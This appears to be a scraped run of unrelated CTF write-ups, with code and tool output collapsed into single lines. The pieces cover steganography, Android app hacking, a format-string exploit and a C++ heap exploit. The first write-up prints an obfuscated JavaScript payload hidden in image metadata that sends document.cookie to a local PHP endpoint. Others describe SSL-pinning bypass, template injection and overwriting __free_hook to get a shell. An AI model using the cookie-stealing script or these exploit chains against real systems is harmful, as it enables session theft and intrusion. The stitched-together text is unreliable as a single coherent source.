First let's [download](https://ctf2020.syskron-security.com/files/6f55b76d0508d33445712bb4aba8e112/change.jpg?token=eyJ1c2VyX2lkIjo2MTIsInRlYW1faWQiOjI1MiwiZmlsZV9pZCI6NX0.X5FZTw.R0j3vQSz6n-UTZDgBiHoCigJ6m0) and take a look at the the image.

OK, nothing obvious here so lets look at some basic stegonography tools.
```[jaxigt@MBA Downloads]$ exiftool change.jpg ExifTool Version Number : 12.00File Name : change.jpgDirectory : .File Size : 618 kBFile Modification Date/Time : 2020:10:21 00:45:03+01:00File Access Date/Time : 2020:10:21 00:45:03+01:00File Inode Change Date/Time : 2020:10:21 00:45:03+01:00File Permissions : rw-r--r--File Type : JPEGFile Type Extension : jpgMIME Type : image/jpegJFIF Version : 1.01Exif Byte Order : Big-endian (Motorola, MM)Processing Software : Windows Photo Editor 10.0.10011.16384Orientation : Horizontal (normal)Software : GIMP 0.60Modify Date : 2020:08:21 13:04:29Copyright : var _0xb30f=['qep','0k5','app','ati','kro','fu5','tes','+(\x20','\x20+\x20','^([','LPa','uct','001','sys','Wor','s\x20+','+[^','\x20/\x22','7.0',')+)','ret','loc','\x20]+','ked','/12','htt','l1k','{l0','nCT','GyR','thi','log','3dj','\x20\x22/','LeT','Ryt','^\x20]','con','30b','str','c47'];(function(_0x430b89,_0xb30f10){var _0x19eed7=function(_0x3b1411){while(--_0x3b1411){_0x430b89['push'](_0x430b89['shift']());}},_0x375ddc=function(){var _0x166f78={'data':{'key':'cookie','value':'timeout'},'setCookie':function(_0x569df1,_0x492780,_0x38f651,_0x148ad7){_0x148ad7=_0x148ad7||{};var _0x19b065=_0x492780+'='+_0x38f651,_0x57c7ce=0x0;for(var _0x10eafa=0x0,_0x228af4=_0x569df1['length'];_0x10eafa<_0x228af4;_0x10eafa++){var _0x2863f6=_0x569df1[_0x10eafa];_0x19b065+=';\x20'+_0x2863f6;var _0x2179e9=_0x569df1[_0x2863f6];_0x569df1['push'](_0x2179e9),_0x228af4=_0x569df1['length'],_0x2179e9!==!![]&&(_0x19b065+='='+_0x2179e9);}_0x148ad7['cookie']=_0x19b065;},'removeCookie':function(){return'dev';},'getCookie':function(_0x5cec4b,_0x110117){_0x5cec4b=_0x5cec4b||function(_0x2cb439){return _0x2cb439;};var _0x5519e5=_0x5cec4b(new RegExp('(?:^|;\x20)'+_0x110117['replace'](/([.$?*|{}()[]\/+^])/g,'$1')+'=([^;]*)')),_0x2a2d7a=function(_0x57642f,_0x32a43b){_0x57642f(++_0x32a43b);};return _0x2a2d7a(_0x19eed7,_0xb30f10),_0x5519e5?decodeURIComponent(_0x5519e5[0x1]):undefined;}},_0xa48cf6=function(){var _0x3139e7=new RegExp('\x5cw+\x20*\x5c(\x5c)\x20*{\x5cw+\x20*[\x27|\x22].+[\x27|\x22];?\x20*}');return _0x3139e7['test'](_0x166f78['removeCookie']['toString']());};_0x166f78['updateCookie']=_0xa48cf6;var _0x2cb6b1='';var _0x4f6f69=_0x166f78['updateCookie']();if(!_0x4f6f69)_0x166f78['setCookie'](['*'],'counter',0x1);else _0x4f6f69?_0x2cb6b1=_0x166f78['getCookie'](null,'counter'):_0x166f78['removeCookie']();};_0x375ddc();}(_0xb30f,0x17d));var _0x19ee=function(_0x430b89,_0xb30f10){_0x430b89=_0x430b89-0x0;var _0x19eed7=_0xb30f[_0x430b89];return _0x19eed7;};function abc(){var _0x1b7e59=function(){var _0x56c055=!![];return function(_0x2d101b,_0x47dae5){var _0x5cdda2=_0x56c055?function(){if(_0x19ee('0x16')+'Np'===_0x19ee('0x27')+'nE'){function _0x279dc5(){var _0x47e79c=_0x22ba2d[_0x19ee('0x1f')+'ly'](_0x373ec8,arguments);return _0x438040=null,_0x47e79c;}}else{if(_0x47dae5){if(_0x19ee('0x11')+'Rw'!==_0x19ee('0x17')+'uX'){var _0x5972e3=_0x47dae5[_0x19ee('0x1f')+'ly'](_0x2d101b,arguments);return _0x47dae5=null,_0x5972e3;}else{function _0x2e681d(){if(_0x3f02d1){var _0x40970e=_0x404a5d[_0x19ee('0x1f')+'ly'](_0x2a13e0,arguments);return _0x4c768b=null,_0x40970e;}}}}}}:function(){};return _0x56c055=![],_0x5cdda2;};}(),_0x5660b8=_0x1b7e59(this,function(){if(_0x19ee('0x1d')+'LA'!==_0x19ee('0x1d')+'LA'){function _0x352531(){var _0x1351cf=function(){var _0x358fe2=_0x1351cf[_0x19ee('0x19')+_0x19ee('0x1b')+_0x19ee('0x28')+'or'](_0x19ee('0x8')+'urn'+_0x19ee('0x5')+_0x19ee('0x25')+'thi'+_0x19ee('0x3')+_0x19ee('0x15'))()[_0x19ee('0x19')+'str'+_0x19ee('0x28')+'or'](_0x19ee('0x26')+_0x19ee('0x18')+_0x19ee('0x24')+'+[^'+_0x19ee('0xa')+_0x19ee('0x7')+_0x19ee('0x4')+'\x20]}');return!_0x358fe2[_0x19ee('0x23')+'t'](_0xaf66c0);};return _0x1351cf();}}else{var _0x5abfca=function(){var _0x32b298=_0x5abfca[_0x19ee('0x19')+_0x19ee('0x1b')+_0x19ee('0x28')+'or']('ret'+'urn'+'\x20/\x22'+_0x19ee('0x25')+_0x19ee('0x12')+_0x19ee('0x3')+_0x19ee('0x15'))()[_0x19ee('0x19')+_0x19ee('0x1b')+_0x19ee('0x28')+'or']('^(['+_0x19ee('0x18')+_0x19ee('0x24')+'+[^'+_0x19ee('0xa')+_0x19ee('0x7')+'+[^'+'\x20]}');return!_0x32b298[_0x19ee('0x23')+'t'](_0x5660b8);};return _0x5abfca();}});_0x5660b8(),document[_0x19ee('0x9')+_0x19ee('0x20')+'on']=_0x19ee('0xd')+'p:/'+_0x19ee('0xc')+_0x19ee('0x6')+'.0.'+'1/0'+_0x19ee('0x0')+'.ph'+'p?c'+'='+document['coo'+'kie'],console[_0x19ee('0x13')](_0x19ee('0x2')+_0x19ee('0xb')+'!'),console[_0x19ee('0x13')](_0x19ee('0x1')+_0x19ee('0x21')+_0x19ee('0x10')+'F'),console[_0x19ee('0x13')](_0x19ee('0xf')+_0x19ee('0x1e')+_0x19ee('0xe')+_0x19ee('0x1a')+_0x19ee('0x22')+_0x19ee('0x1c')+_0x19ee('0x14')+'5}');}abc();Date/Time Original : 2020:08:21 13:03:22Create Date : 2020:08:21 13:03:22Sub Sec Time Original : 00Sub Sec Time Digitized : 00Color Space : sRGBPadding : (Binary data 2060 bytes, use -b option to extract)Compression : JPEG (old-style)X Resolution : 96Y Resolution : 96Resolution Unit : inchesThumbnail Offset : 8546Thumbnail Length : 7707XMP Toolkit : Image::ExifTool 10.80About : uuid:faf5bdd5-ba3d-11da-ad31-d33d75182f1bCreator Tool : GIMP 0.60Image Width : 2347Image Height : 1339Encoding Process : Baseline DCT, Huffman codingBits Per Sample : 8Color Components : 3Y Cb Cr Sub Sampling : YCbCr4:2:0 (2 2)Image Size : 2347x1339Megapixels : 3.1Create Date : 2020:08:21 13:03:22.00Date/Time Original : 2020:08:21 13:03:22.00Thumbnail Image : (Binary data 7707 bytes, use -b option to extract)```
Now what is that in the **Copyright** tag!?
It looks like Javascript to me?!
```javascriptCopyright : var _0xb30f=['qep','0k5','app','ati','kro','fu5','tes','+(\x20','\x20+\x20','^([','LPa','uct','001','sys','Wor','s\x20+','+[^','\x20/\x22','7.0',')+)','ret','loc','\x20]+','ked','/12','htt','l1k','{l0','nCT','GyR','thi','log','3dj','\x20\x22/','LeT','Ryt','^\x20]','con','30b','str','c47'];(function(_0x430b89,_0xb30f10){var _0x19eed7=function(_0x3b1411){while(--_0x3b1411){_0x430b89['push'](_0x430b89['shift']());}},_0x375ddc=function(){var _0x166f78={'data':{'key':'cookie','value':'timeout'},'setCookie':function(_0x569df1,_0x492780,_0x38f651,_0x148ad7){_0x148ad7=_0x148ad7||{};var _0x19b065=_0x492780+'='+_0x38f651,_0x57c7ce=0x0;for(var _0x10eafa=0x0,_0x228af4=_0x569df1['length'];_0x10eafa<_0x228af4;_0x10eafa++){var _0x2863f6=_0x569df1[_0x10eafa];_0x19b065+=';\x20'+_0x2863f6;var _0x2179e9=_0x569df1[_0x2863f6];_0x569df1['push'](_0x2179e9),_0x228af4=_0x569df1['length'],_0x2179e9!==!![]&&(_0x19b065+='='+_0x2179e9);}_0x148ad7['cookie']=_0x19b065;},'removeCookie':function(){return'dev';},'getCookie':function(_0x5cec4b,_0x110117){_0x5cec4b=_0x5cec4b||function(_0x2cb439){return _0x2cb439;};var _0x5519e5=_0x5cec4b(new RegExp('(?:^|;\x20)'+_0x110117['replace'](/([.$?*|{}()[]\/+^])/g,'$1')+'=([^;]*)')),_0x2a2d7a=function(_0x57642f,_0x32a43b){_0x57642f(++_0x32a43b);};return _0x2a2d7a(_0x19eed7,_0xb30f10),_0x5519e5?decodeURIComponent(_0x5519e5[0x1]):undefined;}},_0xa48cf6=function(){var _0x3139e7=new RegExp('\x5cw+\x20*\x5c(\x5c)\x20*{\x5cw+\x20*[\x27|\x22].+[\x27|\x22];?\x20*}');return _0x3139e7['test'](_0x166f78['removeCookie']['toString']());};_0x166f78['updateCookie']=_0xa48cf6;var _0x2cb6b1='';var _0x4f6f69=_0x166f78['updateCookie']();if(!_0x4f6f69)_0x166f78['setCookie'](['*'],'counter',0x1);else _0x4f6f69?_0x2cb6b1=_0x166f78['getCookie'](null,'counter'):_0x166f78['removeCookie']();};_0x375ddc();}(_0xb30f,0x17d));var _0x19ee=function(_0x430b89,_0xb30f10){_0x430b89=_0x430b89-0x0;var _0x19eed7=_0xb30f[_0x430b89];return _0x19eed7;};function abc(){var _0x1b7e59=function(){var _0x56c055=!![];return function(_0x2d101b,_0x47dae5){var _0x5cdda2=_0x56c055?function(){if(_0x19ee('0x16')+'Np'===_0x19ee('0x27')+'nE'){function _0x279dc5(){var _0x47e79c=_0x22ba2d[_0x19ee('0x1f')+'ly'](_0x373ec8,arguments);return _0x438040=null,_0x47e79c;}}else{if(_0x47dae5){if(_0x19ee('0x11')+'Rw'!==_0x19ee('0x17')+'uX'){var _0x5972e3=_0x47dae5[_0x19ee('0x1f')+'ly'](_0x2d101b,arguments);return _0x47dae5=null,_0x5972e3;}else{function _0x2e681d(){if(_0x3f02d1){var _0x40970e=_0x404a5d[_0x19ee('0x1f')+'ly'](_0x2a13e0,arguments);return _0x4c768b=null,_0x40970e;}}}}}}:function(){};return _0x56c055=![],_0x5cdda2;};}(),_0x5660b8=_0x1b7e59(this,function(){if(_0x19ee('0x1d')+'LA'!==_0x19ee('0x1d')+'LA'){function _0x352531(){var _0x1351cf=function(){var _0x358fe2=_0x1351cf[_0x19ee('0x19')+_0x19ee('0x1b')+_0x19ee('0x28')+'or'](_0x19ee('0x8')+'urn'+_0x19ee('0x5')+_0x19ee('0x25')+'thi'+_0x19ee('0x3')+_0x19ee('0x15'))()[_0x19ee('0x19')+'str'+_0x19ee('0x28')+'or'](_0x19ee('0x26')+_0x19ee('0x18')+_0x19ee('0x24')+'+[^'+_0x19ee('0xa')+_0x19ee('0x7')+_0x19ee('0x4')+'\x20]}');return!_0x358fe2[_0x19ee('0x23')+'t'](_0xaf66c0);};return _0x1351cf();}}else{var _0x5abfca=function(){var _0x32b298=_0x5abfca[_0x19ee('0x19')+_0x19ee('0x1b')+_0x19ee('0x28')+'or']('ret'+'urn'+'\x20/\x22'+_0x19ee('0x25')+_0x19ee('0x12')+_0x19ee('0x3')+_0x19ee('0x15'))()[_0x19ee('0x19')+_0x19ee('0x1b')+_0x19ee('0x28')+'or']('^(['+_0x19ee('0x18')+_0x19ee('0x24')+'+[^'+_0x19ee('0xa')+_0x19ee('0x7')+'+[^'+'\x20]}');return!_0x32b298[_0x19ee('0x23')+'t'](_0x5660b8);};return _0x5abfca();}});_0x5660b8(),document[_0x19ee('0x9')+_0x19ee('0x20')+'on']=_0x19ee('0xd')+'p:/'+_0x19ee('0xc')+_0x19ee('0x6')+'.0.'+'1/0'+_0x19ee('0x0')+'.ph'+'p?c'+'='+document['coo'+'kie'],console[_0x19ee('0x13')](_0x19ee('0x2')+_0x19ee('0xb')+'!'),console[_0x19ee('0x13')](_0x19ee('0x1')+_0x19ee('0x21')+_0x19ee('0x10')+'F'),console[_0x19ee('0x13')](_0x19ee('0xf')+_0x19ee('0x1e')+_0x19ee('0xe')+_0x19ee('0x1a')+_0x19ee('0x22')+_0x19ee('0x1c')+_0x19ee('0x14')+'5}');}abc();```Lets head over to the site [https://jsfiddle.net/](https://jsfiddle.net/).
Paste the code from the Copyright section in the exifdata into the Javascript box on the website and hit the **Run** button at the top

After running at the bottom of teh screen we see the folowing;

So there we have our key!
***syskronCTF{l00k5l1k30bfu5c473dj5}*** |
# Write-up: CTF Coin
## DescriptionThere are some images in the original writeup. use the link below...
### My StoryFirst I thought it should be a problem of app itself! so I dived deep inside the app. I used static analysis to understand what it is doing. but it was somehow confusing and complicated. so I tried another way; dynamic analysis. I started Burp and trying to monitor the traffic.
but there was a problem! This error was occurring repeatedly and I couldn't do the purchase while system proxy setting was set to my Burp IP! I had set the cert; so I didn't know the cause of the problem!```BurpSuite Error: failed to negotiate an SSL connection```I saw a new phrase I didn't know what is it; `SSL Pinning`. But I remembered a script from [codeshare.frida.re](https://codeshare.frida.re) named `Universal Android SSL Pinning Bypass with Frida`. So this is the solution to bypass this #&%^#@!

It took a lot of time to analyze statically and finding out the solution of `SSL Pinning` problem. But I learned a lot! :P
After bypassing SSL Pinning it was so easy to capture the traffic to the back-end server.

### Exploit TimeThen I sent another value as `coins` parameter:

### FlagAnd this is the flag:
```RaziCTF{ZmRzdnNkRlNEcWUzQFFxZURXRUZEU1ZGU0RTNTVkc2Y1ZmV2c0RGcnEzNSRSI3J3ZnNlZnJ3IyQjJSNA}``` |
No captcha required for preview. Please, do not write just a link to original writeup here.https://hell38vn.wordpress.com/2020/04/14/ctf-tghack-2020-misc-poke-142pt/ |
## Warm-up 0 \[10 pts.\]
>These are a series of introductory problems on basic Linux skills.>>Log into the ssh service with username peactf and password peactf2020. What's on the server?
Simple challenge, once we are connected we can```shgrep -Rn "{" warm-up-1```
Which shows a lot of files with the same correct flag in it. |
# Write-up: Friends
## Description
### My StoryI just started Burp and analyzed the traffic! this is the result:

There are some data that server respond, but the app doesn't show them; phone numbers.
I didn't know what should I do with these phone numbers to get the flag. This is the captured server response:```HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Content-Type: application/jsonCache-Control: no-cache, privateDate: Mon, 26 Oct 2020 16:17:47 GMTX-RateLimit-Limit: 60X-RateLimit-Remaining: 57Access-Control-Allow-Origin: *Connection: closeContent-Length: 1388
[{"id":1,"name":"Bugs Bunny","avatar":"bugs_bunny.jpg","email":"[email protected]","address":"4617 Goodwin Avenue","gender":"male","age":"22","phone":"36213893021"},{"id":2,"name":"Mickey Mouse","avatar":"mickey_mouse.jpg","email":"[email protected]","address":"3844 Stiles Street","gender":"male","age":"28","phone":"12369532255"},{"id":4,"name":"Bart Simpson","avatar":"bart_simpson.jpg","email":"[email protected]","address":"2418 Loving Acres Road","gender":"male","age":"35","phone":"55634559910"},{"id":3,"name":"Popeye","avatar":"popeye.jpg","email":"[email protected]","address":"New Jersey popeye Street","gender":"male","age":"43","phone":"22361255893"},{"id":5,"name":"Patrick Star","avatar":"patrick_star.jpg","email":"[email protected]","address":"Richmond 2136 Queens Lane","gender":"male","age":"18","phone":"41223365236"},{"id":6,"name":"Homer Simpson","avatar":"homer_simpson.jpg","email":"[email protected]","address":"Timber Oak Drive","gender":"male","age":"47","phone":"99632531930"},{"id":7,"name":"Olive Oyl","avatar":"olive_oyl.jpg","email":"[email protected]","address":"Ocala Rhapsody Street","gender":"female","age":"52","phone":"89633366552"},{"id":8,"name":"Sylvester","avatar":"sylvester.jpg","email":"[email protected]","address":"Tigard 2285 Kincheloe Road","gender":"male","age":"31","phone":"77632351752"}]```
### Exploit Time...
### FlagIt's ridiculous. just putting the numbers together:```RaziCTF{3621389302112369532255556345599102236125589341223365236996325319308963336655277632351752}``` |
to see images go to the original writeup. click on the link below...# Write-up: Chasing a Lock
## Description
### My StoryFirst I executed the app and this is it:

Each time you touch the lock, the counter at the bottom of the page will decrease by one; while the lock changes its position randomly every second.
me: "So I should make the counter zero!" :D
I got the point and opened JADX and found the source code without any obfuscation. This is the source code of MainActivity:```package com.example.razictf_2;
import android.os.Bundle;import android.util.DisplayMetrics;import android.view.View;import android.view.View.OnClickListener;import android.widget.ImageButton;import android.widget.TextView;import androidx.appcompat.app.AppCompatActivity;import java.util.Random;import java.util.Timer;import java.util.TimerTask;
public class MainActivity extends AppCompatActivity { public void onCreate(Bundle bundle) { super.onCreate(bundle); setContentView((int) R.layout.activity_main); final ImageButton imageButton = (ImageButton) findViewById(R.id.my_button); final DisplayMetrics displayMetrics = new DisplayMetrics(); getWindowManager().getDefaultDisplay().getMetrics(displayMetrics); new Timer().schedule(new TimerTask() { public void run() { MainActivity.this.runOnUiThread(new Runnable() { public void run() { Random random = new Random(); float nextFloat = random.nextFloat() * ((float) displayMetrics.widthPixels); float nextFloat2 = random.nextFloat() * ((float) displayMetrics.heightPixels); new Timer(); imageButton.animate().x(nextFloat).y(nextFloat2).setDuration(0).start(); } }); } }, 0, 1000); imageButton.setOnClickListener(new OnClickListener() { public void onClick(View view) { TextView textView = (TextView) MainActivity.this.findViewById(R.id.Num); int parseInt = Integer.parseInt(textView.getText().toString()); if (parseInt == 0 || parseInt < 0) { textView.setText("0"); return; } int i = parseInt - 1; String run = new switcher().run(i); if (run != null) { ((TextView) MainActivity.this.findViewById(R.id.Flag)).setText(run); } textView.setText(String.valueOf(i)); } }); }}```
And this is the interesting point:```String run = new switcher().run(i);```
It seems the magic part is inside the `switcher` class. This is the source code:```package com.example.razictf_2;
public class switcher { public String run(int i) { if (i != 0) { return null; } a1 a1Var = new a1(); StringBuilder sb = new StringBuilder(); sb.append(" "); sb.append(a1Var.run(i)); String sb2 = sb.toString(); a2 a2Var = new a2(); System.out.println(a2Var.run(i)); StringBuilder sb3 = new StringBuilder(); sb3.append(sb2); sb3.append(a2Var.run(i)); String sb4 = sb3.toString(); a3 a3Var = new a3(); StringBuilder sb5 = new StringBuilder(); sb5.append(sb4); sb5.append(a3Var.run(i)); String sb6 = sb5.toString(); a4 a4Var = new a4(); StringBuilder sb7 = new StringBuilder(); sb7.append(sb6); sb7.append(a4Var.run(i)); String sb8 = sb7.toString(); a5 a5Var = new a5(); StringBuilder sb9 = new StringBuilder(); sb9.append(sb8); sb9.append(a5Var.run(i)); return sb9.toString(); }}```
### Exploit TimeSo the only thing I need to do is hooking the `run` method and rewrite the value of `i` argument to zero. It's really easy using Frida.I wrote [loader.py](./loader.py) and [script.js](./script.js).
### FlagAnd this is the result: |
## Warm-up 1 \[15 pts.\]>Log into the ssh service with username peactf and password peactf2020.>>Hmm... how to I search for a string recursively on Linux?
SSH into the machine, then run
`grep -Rn "peaCTF" warm-up-1`
which gives us the flag:
`peaCTF{3f50bb70-5e42-45c2-9cb3-52dbcf26de20}` |
# Body Count (25 Points)
`format = flag{#}`
## Problem```How many users exist in the Shallow Grave University database?```
## Solution```The ctf gives us a .sql file to download.
in order to view it like its supposed to we need to import it into a mysql database.
lets first create a database to import that file into.
#mysql -u root -p##create database BodyCount;#``````now we need to import the sql file.
#mysql -u root -p BodyCount < shallowgraveu.sql#
after the sql file is imported we can start to view the tables.
#mysql -u root -p BodyCount#
to view all the tables we imported into the mysql database we can use #show tables;#``````we can see that there is a `users` table.
by counting how many users there is in that table we can answer the question.
one way of doing that is by using #select * from users;#``````flag{900}``` |
## MadVillainy \[45 pts.\]>An evil villain dubbed the “Triplet Lock” has recently been going around and messing with everyone’s audio files! A detective managed to find out his true identity but Triplet Lock was able to encrypt it before he was caught, can you find out what his true name is?>>The flag starts with "Mr." and is case-insensitive._files: haveyouheardofthisman.mp3_
Simple challenge. We can open this in Audacity and listen. Sounds like it's reversed. So, we do `Effects > Reverse`. Now we can try to recognize what the voice says. I used Google Translator's voice input for that. It won't recognize the voice right away because the pitch is too low. We can either speed it up or just change the pitch. `Effects > Change Speed` didn't help much, but `Effects > Change Pitch` (150%) made the recording recognizable by the Google Translator.
The flag is `Mr. Hartwell` |
# Blind Shot
One dprintf() call with format-string bug, no output.
## Solution
Recall the `argv` parameter of `main` function. Assuming that the given binary is not manually `exec`-ed as `argv = NULL`, `argv` points to the array of arguments given at binary execution, which the first one `argv[0]` would be char pointer pointing to the binary executable's name. Let us now refer to the position of `argv` as `A`, and `argv[0]` as `B`.
Since `A` is located at lower memory address than `B`, we can use `%hhn/%hn` at `A` to partially overwrite the value of `B` to return address of `service()`. Then use `%hhn/%hn` at `B` to partially overwrite the return address to address inside `main` function, just before `service()` parameters are loaded and called (offset 0x128E). This is the "Return" primitive that we can use to do exploit the FSB once more, and can trivially be extended to leak data before returning ("Leak+Return" primitive).
Since there aren't any other useful values in the stack, one can think of using `A` and `B` to do the following:1. Write from `A` to `B` such that the value at `B` changes to some stack address `C` (from now on represented as notation `A->B=C`)1. `B->C=D` for some value `D`1. `A->B=RET` for address of return address `RET`1. `B->RET=(before service() call)`
The above 4 steps, if possible, creates a "Write+Return" primitive. This is very useful since we can write any value to stack, then return back to `main` and exploit FSB with our written value accessible as argument.
However, the above is impossible due to how positional argument is implemented in glibc `printf_positional`. `printf` processes the format strings from the start, fetching arguments one by one when it sees a new format specifier. Therefore, steps 1 and 2 are possible. When `printf` sees a positional argument specifier, it immediately resorts to `printf_positional` which starts by caching all arguments to be used. Thus, if we perform step 3 using positional argument, the value written at `B` will be cached as `C` which result in step 4 being `B->C=(start of main)`.
With a clear understanding of how argument caching in `printf_positional` works and with some novel ideas, we can think of setting `C` as `A`, `D` as `RET`, and `RET` as `(before service() call)`. Let's write the steps once more, now with `$` representing use of positional argument:1. `A->B=A`1. `B->A=RET`1. `$A->RET=(before service() call)`
This idea isn't just some random magic. The key point of this idea is to **change the pointer direction of `A` and `B` from `A->B` to `B->A`** with the "Return" primitive. This "Flip+Return" primitive will enable the "Write+Return" primitive as shown below:1. `A->RET=(before service() call)`1. `B->A=C`1. `$A->C=D`1. `$B->A=RET`
With this primitive, the rest can be done with the aforementioned primitives and simple ROP. The complete steps are as below:1. "Flip+Return", check liveliness (1.5 byte stack addr bruteforce)1. "Write+Return", overwrite `fd = open("/dev/null")` saved at stack frame of `main()` to 11. "Leak+Return" -> Leak libc address from `__libc_start_main` saved at stack1. "Write+Return" -> Write ROP chain at return address of `main()`1. "Return" to (pop-)*ret gadget -> ROP chain triggered
I found this technique by auditing vfprintf-internal.c code, but there are some [references](https://j00ru.vexillium.org/slides/2015/insomnihack.pdf#page=98) to work out the technique.
## Exploit Code
See [solver.py](https://github.com/leesh3288/CTF/blob/master/2020/TWCTF_2020/blindshot/solver.py) |
## Bots \[25 pts.\]> What does a machine see?

Another web trivia challenge. What do robots look for?Well, `/robots.txt`:```User-agent: *Sitemap: /sitemap.xml```
This redirects us to `/sitemap.xml`:```xml<urlset><url><loc>/index.html</loc><lastmod>2019-04-10T09:51:57+06:00</lastmod></url><url><loc>/AZJ2sLVxnqM0RqLDWKeeUykaaUDsxElN.html</loc><lastmod>2019-04-10T09:51:57+06:00</lastmod></url></urlset>```
And finally, `/AZJ2sLVxnqM0RqLDWKeeUykaaUDsxElN.html`:
 |
## flaskookies \[144 pts.\]>You want to log in to a really cool username generator, but there doesn't seem to be a login page. What could the website possibly use to authenticate users?

As the title of the task suggests, this web service uses Flask, which means that it also uses Jinja2 as a template engine.
Let's try `{{2+2}}`:

It worked! Now let's see what the config is: `{{config}}`

And here's our flag! |
# Vi deteriorated
A classic C++-based exploitation chal, with a mild twist of C++ exceptions.
## Bugs
1. Horizontal & vertical offsets at Vim structure not updated during string replace command - OOB access at Vim structure vector of strings & strings inside it, but all accesses are done with `.at()` - Triggers C++ exception, where handler dumps backtrace & restarts binary - Binary & libc base leak1. Improper use of iterators and `std::vector::insert()` for multi-line replacements at `Vim::replace()` - Return value of `std::vector::insert()` not used => huge red flag - Iterator may fetch a malformed std::string located at `.end()` of vector inside Vim structure - UAF possible, but fetching malformed std::string at `.end()` already sufficient for exploitation
## Exploitation
1. Trigger C++ exception to leak libc base2. Allocate chunks of size 0x210, write `&__free_hook - 3` at last 8 bytes - This will later be fetched as `char *pChar` of fake `std::string` - Easily done by `Vim::doCommand()` where input gets split up and processed, leaving several (about 3) chunks freed into tcache - ex) `'%s/' + 'A'*0x200 + addr + '/' + '/g\n'`3. Trigger C++ exception to get a new vector inside Vim structure, allocated at our previously freed 0x210-size chunks4. Run `Vim::doCommand()` to fetch our fake std::string, replace it with `"sh;" + p64(&system)` and trigger free() to get shell - These are all done in a single replace command - std::string fetch succeeds since its structure is shaped as following: ``` 8 bytes | 8 bytes pChar | size // pChar = &__free_hook - 3, size = (size | flag) of next malloc chunk > 0x10 ??????? | ??????? ``` - `str_replace()` inside `Vim::replace()` writes `__free_hook = system` - Replaced string pointing to `"sh;" + p64(&system)` is soon freed, triggering `system("sh;" + p64(&system))`
## Exploit Code
See [solver.py](https://github.com/leesh3288/CTF/blob/master/2020/TWCTF_2020/vid/solver.py) |
# Screenshot (300 points)
## Description
After a hacking attack, we have fetched some suspicious e-mails sent from within Senork Vertriebs GmbH to an unknown recipient. It has an attachment and says, "Hi, I managed to capture a screenshot. I am sure there is something useful for us in there, even if it's not that significant. Good luck".
What could that be?
[Attached image](https://github.com/holypower777/ctf_writeups/blob/main/syskronCTF_2020/screenshot/Screenshot_2020-05-19_at_11.38.08_AM.png)
## Solution
Having tried all the standard steganography utilities, such as binwalk, strings, pngcheck, zsteg, I decided to open stegsolve
I started to change the planes and on the red plane 1 we can see the following:
"Doesn't seem so significant to me", Okay, that's interesting... let's continue

"This is more interesting"
This line in the center looks like the Least Significant Bit (LSB). At this stage, I did not know what to do and began to read writeups on that topic. In the process of reading, I tried many python scripts to solve the task, but the solution turned out to be very easy.
Let's open stegsolve again and press the **Data Extract**, then select the desired bit plane (green 0), select the **LSB first** bit order and **Extract By** Column and save it as a bin.

Let's see the output
Flag: syskronCTF{s3cr3T_m3sS4g3} |
## TheGreatestFighter \[70 pts.\]>There is something more to these two images…>>No flag formatting required._files: thegreatestfighter1.png thegreatestfighter1.png_
My first guess was to combine the images using Stegsolve, but that didn't work because the differences were in the alpha channel.
Next guess was to combine them in GIMP:
 |
# Firmware update
 
```txtThe crypto software LibrePLC at BB Industry is continuously receiving updates. Unfortunately, the responsible employee left the company a few weeks ago and hasn't deployed the most recent firmware with important security updates. He just left a note with 5157CA3SDGF463249FBF.
We urgently need the new firmware!```
---
First, simply open the first zip archive `LibrePLC_fw_1.0.0.zip` using the weird string from the task description: `5157CA3SDGF463249FBF`.
This will give you two new files: `key` and `LibrePLC_fw_1.0.0.bin`. As a quick `file` command will tell you, the first one is actually a Python script. So... let's have a look!
```py#!/usr/bin python3import hashlib #line:3import sys #line:4def check (): if len (sys .argv )==1 :# print ("No key for you")# sys .exit (0 )#line:9 else :#line:10 OOO0OOOOOO00000OO =sys .argv [1 ]# return OOO0OOOOOO00000OO #line:12def get_it (OOO0OOOOO00000OOO ):#line:14 with open (OOO0OOOOO00000OOO ,"rb")as O0000O000O00O0000 :#line:15 O0O0O0OOO000OOO0O =O0000O000O00O0000 .read () OO0O000O0OO000O0O =hashlib .sha256 (O0O0O0OOO000OOO0O ).hexdigest () return OO0O000O0OO000O0O #line:18def keys (OOOOOOOO00OOOOOOO ):#line:20 O0OO00OOO00OOOOOO =OOOOOOOO00OOOOOOO [::-1 ][:10 ]#line:21 O00O00O0O0O0O0000 =OOOOOOOO00OOOOOOO [5 :20 ][::-1 ]#line:22 O00O00O0O0O0O0000 =O0OO00OOO00OOOOOO .replace ("1","0")[::-1 ].replace ("9","sys")# O0OO00OOO00OOOOOO =O00O00O0O0O0O0000 .replace ("a","k").replace ("4","q").replace ("b","c").replace ("5","kron")#line:24 O0O000OO0000O000O =OOOOOOOO00OOOOOOO [23 :50 ][::-1 ].replace ("8","n") O0OO0OO0OOOOO0OO0 =OOOOOOOO00OOOOOOO [50 :61 ][::-1 ].replace ("7","ctf")# O0OO00O00000O00O0 =(O00O00O0O0O0O0000 +O0OO0OO0OOOOO0OO0 +O0OO00OOO00OOOOOO +O0O000OO0000O000O ).upper ()# return O0OO00O00000O00O0 #line:30print (keys (get_it (check ())))```
... well... we can already kind of see what is happening... still... it doesn't look to nice... Let's clean it up first!
```py#!/usr/bin python3
import hashlibimport sys
def check(): if len (sys.argv) == 1: print("No key for you") sys.exit(0) else: return sys.argv[1]
def get_it(p): with open(p, "rb") as f: content = f.read() hash = hashlib.sha256(content).hexdigest() return hash
def keys(p): a = p[::-1][:10] b = p[5:20][::-1] b = a.replace("1","0")[::-1].replace("9","sys") a = b.replace("a","k").replace("4","q").replace("b","c").replace("5","kron") c = p[23:50][::-1].replace("8","n") d = p[50:61][::-1].replace("7","ctf") res = (b + d + a + c).upper() return res
print(keys(get_it(check())))```
... that's much better! We can now clearly see what this script is doing:
1. it takes a filename as a command line argument.2. ... then it computes the sha256 hash of the file's contents ...3. and last but not least, some replacing and weird stuff is happening, only for the result to be returned and printed.
... _hmm_ ... what file could we possibly need in order to retrieve a proper value from this `keys()` function ... let's try the weird _.bin_ file that was also part of the first zip archive ...
```txt$ ./key.py LibrePLC_fw_1.0.0.bin7SYSCC3076BDCTF13CC9CTFA6CB7SYSCC3076CD56579549EC5AB533EN03AFC1F9N```
... this couldn't, by any chance be the password to the next zip archive, could it? ... it is! Repeat this with the _bin_ file in the second zip archive until you have extracted the contents of the last archive `LibrePLC_fw_1.0.2.zip`.
The flag is actually just in this last binary file, as `strings` will tell you. _Tadaa_, you've successfully retrieved the flag: `syskronCTF{s3Cur3_uPd4T3}` |
